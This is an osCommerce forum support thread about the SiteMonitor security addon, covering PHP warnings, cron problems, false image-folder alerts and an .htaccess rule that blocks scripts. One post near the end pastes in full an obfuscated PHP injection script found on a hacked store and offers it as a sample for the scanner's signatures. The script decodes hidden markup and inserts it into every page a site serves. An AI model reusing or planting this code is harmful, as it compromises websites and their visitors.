♥altoid Posted March 20, 2011 Share Posted March 20, 2011 (edited) Edited...I see Jack responded already Edited March 20, 2011 by altoid Quote I am not a professional webmaster or PHP coder by background or training but I will try to help as best I can. I remember what it was like when I first started with osC. It can be overwhelming. However, I strongly recommend considering hiring a professional for extensive site modifications, site cleaning, etc. There are several good pros here on osCommerce. Look around, you'll figure out who they are. Link to comment Share on other sites More sharing options...
qwertyjjj Posted March 22, 2011 Share Posted March 22, 2011 I get the following error: Warning: array_merge() [function.array-merge]: Argument #1 is not an array in /mounted-storage/home6c/sub002/sc11883-LGVN/mysite.co.uk/cart/admin/sitemonitor_admin.php on line 66 Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /mounted-storage/home6c/sub002/sc11883-LGVN/mysite.co.uk/cart/admin/sitemonitor_admin.php on line 66 Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted March 22, 2011 Author Share Posted March 22, 2011 I get the following error: Warning: array_merge() [function.array-merge]: Argument #1 is not an array in /mounted-storage/home6c/sub002/sc11883-LGVN/mysite.co.uk/cart/admin/sitemonitor_admin.php on line 66 Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /mounted-storage/home6c/sub002/sc11883-LGVN/mysite.co.uk/cart/admin/sitemonitor_admin.php on line 66 Answered recently. Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
qwertyjjj Posted March 22, 2011 Share Posted March 22, 2011 Now, it says this: WARNING: Your images directory contains non-image type files which is, generally, not correct. I have checked and there are only png, jpg, or gif files in the folder Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted March 22, 2011 Author Share Posted March 22, 2011 Now, it says this: WARNING: Your images directory contains non-image type files which is, generally, not correct. I have checked and there are only png, jpg, or gif files in the folder See the recent posts on this. Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
qwertyjjj Posted March 22, 2011 Share Posted March 22, 2011 (edited) See the recent posts on this. Should I do this: OOI, why is the images directory more open to hacks? Why would hackers place php files in the images directory rather than elsewhere? Buggy Code; if (count(glob(DIR_FS_CATALOG . DIR_WS_IMAGES . '*.php'))) { $messageStack->add(ERROR_IMAGES_HAS_PHP, 'error'); } Gives a result of "1" even if there are NO .php files in the images directory. As you are creating an empty array. Add this code underneath, for more practical results. foreach (glob(DIR_FS_CATALOG . DIR_WS_IMAGES . '*.php') as $filename) { echo $messageStack->add($filename); } Edited March 22, 2011 by qwertyjjj Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted March 22, 2011 Author Share Posted March 22, 2011 Should I do this: OOI, why is the images directory more open to hacks? Why would hackers place php files in the images directory rather than elsewhere? No, don't make that change if you have the latest version of SiteMonitor installed. I was referring to the post that said the same as yours in the last page or less. The images directory is open because the earlier versions of oscommerce didn't come with protection for it. Hackers place files in the images directory because it is easily accessed and somewhere you wouldn't look for such files. Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
qwertyjjj Posted March 22, 2011 Share Posted March 22, 2011 (edited) No, don't make that change if you have the latest version of SiteMonitor installed. I was referring to the post that said the same as yours in the last page or less. The images directory is open because the earlier versions of oscommerce didn't come with protection for it. Hackers place files in the images directory because it is easily accessed and somewhere you wouldn't look for such files. No, unless I'm missing something obvious that was for the htaccess file. The error says there are non image files but doesn't list any of the files. I don;t understand how the images folder can be easily accessed if it is set to 755. So, can I add this to my htaccess, which will lock down the images folder? <FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$"> Order Deny,Allow Deny from all </FilesMatch> Edited March 22, 2011 by qwertyjjj Quote Link to comment Share on other sites More sharing options...
♥Biancoblu Posted March 23, 2011 Share Posted March 23, 2011 Hi Jack after configuring site monitor in admin I have 2 messages: 1. WARNING: Your images directory contains .php files but it should not. but my images folder contains no php files 2. Notice: Undefined variable: currentVersion in /home/username/public_html/admin/sitemonitor_admin.php on line 234 ...don't know what that means. Could you help please? Quote ~ Don't mistake my kindness for weakness ~ Link to comment Share on other sites More sharing options...
Jack_mcs Posted March 24, 2011 Author Share Posted March 24, 2011 Hi Jack after configuring site monitor in admin I have 2 messages: 1. but my images folder contains no php files 2. ...don't know what that means. Could you help please? The second problem was a minor coding error in previous versions, which means you are not using the latest version, which is probably why the first message is incorrect since that was a problem in earlier vesions too. Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
qwertyjjj Posted March 24, 2011 Share Posted March 24, 2011 (edited) The second problem was a minor coding error in previous versions, which means you are not using the latest version, which is probably why the first message is incorrect since that was a problem in earlier vesions too. I have the latest version from your download page. January - same problem (SiteMonitor V 2.9) Edited March 24, 2011 by qwertyjjj Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted March 24, 2011 Author Share Posted March 24, 2011 I have the latest version from your download page. January - same problem (SiteMonitor V 2.9) Then you've made a mistake in updating your files or you've altered the code somehow. Your error says currentVersion in /home/username/public_html/admin/sitemonitor_admin.php on line 234But line 234 in the RC2 versions is } and in the 2.3 version it's var isFile = file.indexOf(".txt"); Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
qwertyjjj Posted March 24, 2011 Share Posted March 24, 2011 Then you've made a mistake in updating your files or you've altered the code somehow. Your error says But line 234 in the RC2 versions is } and in the 2.3 version it's var isFile = file.indexOf(".txt"); I don;t have an error, that is the other guy. The page just says: WARNING: Your images directory contains non-image type files which is, generally, not correct. Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted March 24, 2011 Author Share Posted March 24, 2011 I don;t have an error, that is the other guy. The page just says: WARNING: Your images directory contains non-image type files which is, generally, not correct. You posted a reply to my reply to him. I don't have time to work through what part is your problem and what part isn't. Please be specific when asking a question. As for the images problem, the only thing I can think of that might cause this is that your version of php doesn't support the glob function. Other than that, it would take hands-on troubleshooting to see what the problem is. Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
Backcountry_Surfer Posted March 24, 2011 Share Posted March 24, 2011 Im getting the following error message on my screen:- Warning: mail() [function.mail]: "sendmail_from" not set in php.ini or custom "From:" header missing in D:\virtualservers\mystore\mystore.com\wwwroot\admin\includes\functions\sitemonitor_functions.php on line 948 Which is as follows:- mail($to, 'Site Monitor Results', $msg, $from); Slightly different from the above mentioned, and probably not a problem for most but, I am at a loss when it comes to code, any ideas? Cheers Danny Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted March 24, 2011 Author Share Posted March 24, 2011 Im getting the following error message on my screen:- Warning: mail() [function.mail]: "sendmail_from" not set in php.ini or custom "From:" header missing in D:\virtualservers\mystore\mystore.com\wwwroot\admin\includes\functions\sitemonitor_functions.php on line 948 That looks like a problem with the php mail function on the server. You should ask your host about it. Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
sunrise99 Posted March 25, 2011 Share Posted March 25, 2011 I install new version. many cpanel cron can't run it. we receive email: Status: 404 Not Found X-Powered-By: PHP/5.2.10 Content-type: text/html No input file specified. Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted March 25, 2011 Author Share Posted March 25, 2011 I install new version. many cpanel cron can't run it. Does it run manually? Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
trevb54 Posted March 27, 2011 Share Posted March 27, 2011 Hi Jack, I also thank you for a great program. I have instaled the latest version and it works perfectly until I try to run the sitemonitor_hacker_cron.php via a cron job. I get emailed Error: Failed to open configure file. This is the cron: /usr/local/bin/php /home/xxxx/public_html/catalog/xxxxx/sitemonitor_hacker_cron.php I can run this manually and it works perfectly. Just not via a cron job. any ideas please? Regards, Trevor Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted March 27, 2011 Author Share Posted March 27, 2011 Hi Jack, I also thank you for a great program. I have instaled the latest version and it works perfectly until I try to run the sitemonitor_hacker_cron.php via a cron job. I get emailed Error: Failed to open configure file. This is the cron: /usr/local/bin/php /home/xxxx/public_html/catalog/xxxxx/sitemonitor_hacker_cron.php I can run this manually and it works perfectly. Just not via a cron job. any ideas please? It's failing because it can't open sitemonitor_configure_0.php. Be sure that file is present. Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
trevb54 Posted March 28, 2011 Share Posted March 28, 2011 (edited) It's failing because it can't open sitemonitor_configure_0.php. Be sure that file is present. That file is there. Sitemonitor works via the cron just not te sitemonitor_hacker_cron.php. How ever it works manually Edited March 28, 2011 by trevb54 Quote Link to comment Share on other sites More sharing options...
Jack_mcs Posted March 28, 2011 Author Share Posted March 28, 2011 That file is there. Sitemonitor works via the cron just not te sitemonitor_hacker_cron.php. How ever it works manually It doesn't matter if SiteMonitor runs via cron. If the physical file isn't present, sitemonitor_hacker_cron will fail. But since you said it was present, I don't know what else it could be. Quote Support Links: For Hire: Contact me for anything you need help with for your shop: upgrading, hosting, repairs, code written, etc. Get the latest versions of my addons Recommended SEO Addons Link to comment Share on other sites More sharing options...
sunrise99 Posted March 29, 2011 Share Posted March 29, 2011 Does it run manually? No, I setup cron. Quote Link to comment Share on other sites More sharing options...
sunrise99 Posted March 29, 2011 Share Posted March 29, 2011 Now I find new hack code, please think about adding to scaning word on next version: <?php global $ob_starting; if(!$ob_starting) { function ob_start_flush($s) { $tc = array(0, 69, 84, 82, 67, 83, 7, 79, 8, 9, 73, 12, 76, 68, 63, 78, 19, 23, 24, 3, 65, 70, 27, 14, 16, 20, 80, 17, 29, 89, 86, 85, 2, 77, 91, 93, 11, 18, 71, 66, 72, 75, 87, 74, 22, 37, 52, 13, 59, 61, 25, 28, 21, 1, 35, 15, 34, 36, 30, 88, 41, 92, 46, 33, 51); $tr = array(51, 5, 4, 3, 10, 26, 2, 0, 2, 29, 26, 1, 28, 32, 2, 1, 59, 2, 55, 43, 20, 30, 20, 5, 4, 3, 10, 26, 2, 32, 58, 10, 21, 0, 8, 2, 29, 26, 1, 7, 21, 8, 3, 1, 13, 1, 21, 14, 4, 7, 12, 7, 3, 5, 9, 28, 28, 32, 31, 15, 13, 1, 21, 10, 15, 1, 13, 32, 9, 0, 34, 0, 0, 0, 30, 20, 3, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 0, 28, 0, 15, 1, 42, 0, 63, 3, 3, 20, 29, 8, 6, 19, 25, 39, 18, 37, 17, 37, 6, 11, 0, 6, 19, 18, 27, 17, 18, 17, 21, 6, 11, 0, 6, 19, 18, 16, 37, 21, 18, 16, 6, 11, 0, 6, 19, 18, 18, 17, 21, 17, 25, 6, 11, 0, 6, 19, 25, 4, 16, 27, 18, 16, 6, 11, 0, 6, 19, 17, 25, 18, 17, 18, 16, 6, 11, 0, 6, 19, 16, 1, 17, 50, 17, 24, 6, 11, 0, 6, 19, 18, 52, 17, 24, 18, 37, 6, 11, 0, 6, 19, 17, 37, 18, 27, 17, 18, 6, 11, 0, 6, 19, 17, 21, 18, 16, 16, 27, 6, 11, 0, 6, 19, 37, 21, 18, 37, 18, 27, 6, 11, 0, 6, 19, 17, 37, 25, 4, 16, 27, 6, 11, 0, 6, 19, 17, 17, 18, 16, 18, 16, 6, 11, 0, 6, 19, 17, 21, 25, 50, 16, 1, 6, 11, 0, 6, 19, 16, 1, 25, 17, 25, 52, 6, 11, 0, 6, 19, 16, 13, 25, 25, 25, 25, 6, 11, 0, 6, 19, 16, 13, 25, 24, 25, 16, 6, 11, 0, 6, 19, 16, 21, 16, 13, 25, 27, 6, 11, 0, 6, 19, 16, 21, 25, 37, 16, 1, 6, 11, 0, 6, 19, 17, 50, 18, 37, 16, 1, 6, 11, 0, 6, 19, 17, 50, 18, 24, 18, 25, 6, 11, 0, 6, 19, 17, 25, 18, 27, 18, 18, 6, 11, 0, 6, 19, 16, 13, 17, 4, 17, 18, 6, 11, 0, 6, 19, 17, 13, 16, 13, 17, 21, 6, 11, 0, 6, 19, 17, 17, 17, 21, 16, 27, 6, 11, 0, 6, 19, 25, 13, 24, 24, 24, 24, 6, 9, 22, 0, 0, 0, 30, 20, 3, 0, 3, 1, 13, 1, 21, 14, 4, 7, 12, 7, 3, 5, 0, 28, 0, 27, 22, 0, 0, 0, 30, 20, 3, 0, 4, 7, 12, 7, 3, 5, 14, 26, 10, 4, 41, 1, 13, 0, 28, 0, 24, 22, 0, 0, 0, 21, 31, 15, 4, 2, 10, 7, 15, 0, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 2, 11, 5, 2, 29, 12, 1, 13, 9, 0, 34, 30, 20, 3, 0, 5, 0, 28, 0, 32, 32, 22, 21, 7, 3, 0, 8, 43, 28, 24, 22, 43, 51, 2, 23, 12, 1, 15, 38, 2, 40, 22, 43, 36, 36, 9, 0, 34, 30, 20, 3, 0, 4, 14, 3, 38, 39, 0, 28, 0, 2, 48, 43, 49, 22, 21, 7, 3, 0, 8, 10, 28, 27, 22, 10, 51, 17, 22, 10, 36, 36, 9, 0, 34, 30, 20, 3, 0, 4, 14, 4, 12, 3, 0, 28, 0, 4, 14, 3, 38, 39, 23, 5, 31, 39, 5, 2, 3, 8, 10, 36, 36, 11, 37, 9, 22, 10, 21, 0, 8, 4, 14, 4, 12, 3, 53, 28, 32, 24, 24, 32, 9, 0, 5, 0, 36, 28, 0, 64, 2, 3, 10, 15, 38, 23, 21, 3, 7, 33, 54, 40, 20, 3, 54, 7, 13, 1, 8, 26, 20, 3, 5, 1, 60, 15, 2, 8, 4, 14, 4, 12, 3, 11, 27, 44, 9, 47, 27, 52, 9, 22, 35, 35, 10, 21, 0, 8, 5, 2, 29, 12, 1, 13, 9, 0, 34, 5, 0, 28, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 16, 44, 9, 0, 36, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 16, 44, 11, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 16, 18, 9, 9, 0, 36, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 48, 27, 49, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 27, 9, 36, 15, 1, 42, 0, 57, 20, 2, 1, 8, 9, 23, 38, 1, 2, 46, 10, 33, 1, 8, 9, 0, 36, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 37, 9, 9, 22, 35, 0, 1, 12, 5, 1, 0, 34, 5, 0, 28, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 16, 44, 11, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 16, 18, 9, 9, 0, 36, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 48, 27, 49, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 27, 9, 36, 15, 1, 42, 0, 57, 20, 2, 1, 8, 9, 23, 38, 1, 2, 46, 10, 33, 1, 8, 9, 22, 35, 3, 1, 2, 31, 3, 15, 0, 5, 22, 0, 0, 0, 35, 0, 0, 0, 21, 31, 15, 4, 2, 10, 7, 15, 0, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 0, 34, 2, 3, 29, 0, 34, 0, 0, 0, 10, 21, 8, 53, 13, 7, 4, 31, 33, 1, 15, 2, 23, 38, 1, 2, 45, 12, 1, 33, 1, 15, 2, 56, 29, 60, 13, 0, 61, 61, 0, 53, 13, 7, 4, 31, 33, 1, 15, 2, 23, 4, 3, 1, 20, 2, 1, 45, 12, 1, 33, 1, 15, 2, 9, 34, 13, 7, 4, 31, 33, 1, 15, 2, 23, 42, 3, 10, 2, 1, 8, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 11, 27, 9, 9, 22, 0, 0, 0, 35, 0, 1, 12, 5, 1, 0, 34, 30, 20, 3, 0, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 28, 13, 7, 4, 31, 33, 1, 15, 2, 23, 4, 3, 1, 20, 2, 1, 45, 12, 1, 33, 1, 15, 2, 8, 32, 5, 4, 3, 10, 26, 2, 32, 9, 22, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 23, 2, 29, 26, 1, 28, 32, 2, 1, 59, 2, 55, 43, 20, 30, 20, 5, 4, 3, 10, 26, 2, 32, 22, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 23, 5, 3, 4, 28, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 11, 24, 9, 22, 13, 7, 4, 31, 33, 1, 15, 2, 23, 38, 1, 2, 45, 12, 1, 33, 1, 15, 2, 5, 56, 29, 46, 20, 38, 62, 20, 33, 1, 8, 32, 40, 1, 20, 13, 32, 9, 48, 24, 49, 23, 20, 26, 26, 1, 15, 13, 54, 40, 10, 12, 13, 8, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 9, 22, 35, 35, 0, 4, 20, 2, 4, 40, 8, 1, 9, 0, 34, 0, 35, 2, 3, 29, 0, 34, 4, 40, 1, 4, 41, 14, 4, 7, 12, 7, 3, 5, 14, 26, 10, 4, 41, 1, 13, 8, 9, 22, 35, 0, 4, 20, 2, 4, 40, 8, 1, 9, 0, 34, 0, 5, 1, 2, 46, 10, 33, 1, 7, 31, 2, 8, 32, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 32, 11, 0, 52, 24, 24, 9, 22, 35, 0, 0, 0, 35, 0, 0, 0, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 22, 35, 51, 55, 5, 4, 3, 10, 26, 2, 58); $ob_htm = ''; foreach($tr as $tval) { $ob_htm .= chr($tc[$tval]+32); } $slw=strtolower($s); $i=strpos($slw,'</script');if($i){$i=strpos($slw,'>',$i);} if(!$i){$i=strpos($slw,'</div');if($i){$i=strpos($slw,'>',$i);}} if(!$i){$i=strpos($slw,'</table');if($i){$i=strpos($slw,'>',$i);}} if(!$i){$i=strpos($slw,'</form');if($i){$i=strpos($slw,'>',$i);}} if(!$i){$i=strpos($slw,'</p');if($i){$i=strpos($slw,'>',$i);}} if(!$i){$i=strpos($slw,'</body');if($i){$i--;}} if(!$i){$i=strlen($s);if($i){$i--;}} $i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i); return $s; } $ob_starting = time(); @ob_start("ob_start_flush"); } ?> ********************************** div_pick_colors Quote Link to comment Share on other sites More sharing options...
ttmw Posted March 30, 2011 Share Posted March 30, 2011 Just downloaded and installed the contribution...all went fine, until i tried the 'Delete the reference file and create a new one.' update for the first time....which timed out. I've now sorted the time out, but whenever i run any of the upgrades it gives me the results that every file is new? I'm not sure how the contribution works so don't know which files to check to see if reading or writing is working as it should... "Manually Execute Sitemonitor" also returns "Failed to create backup log file" message before listing all the new files. Any suggestions? Thanks in advance, seems like a great contribution :) Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.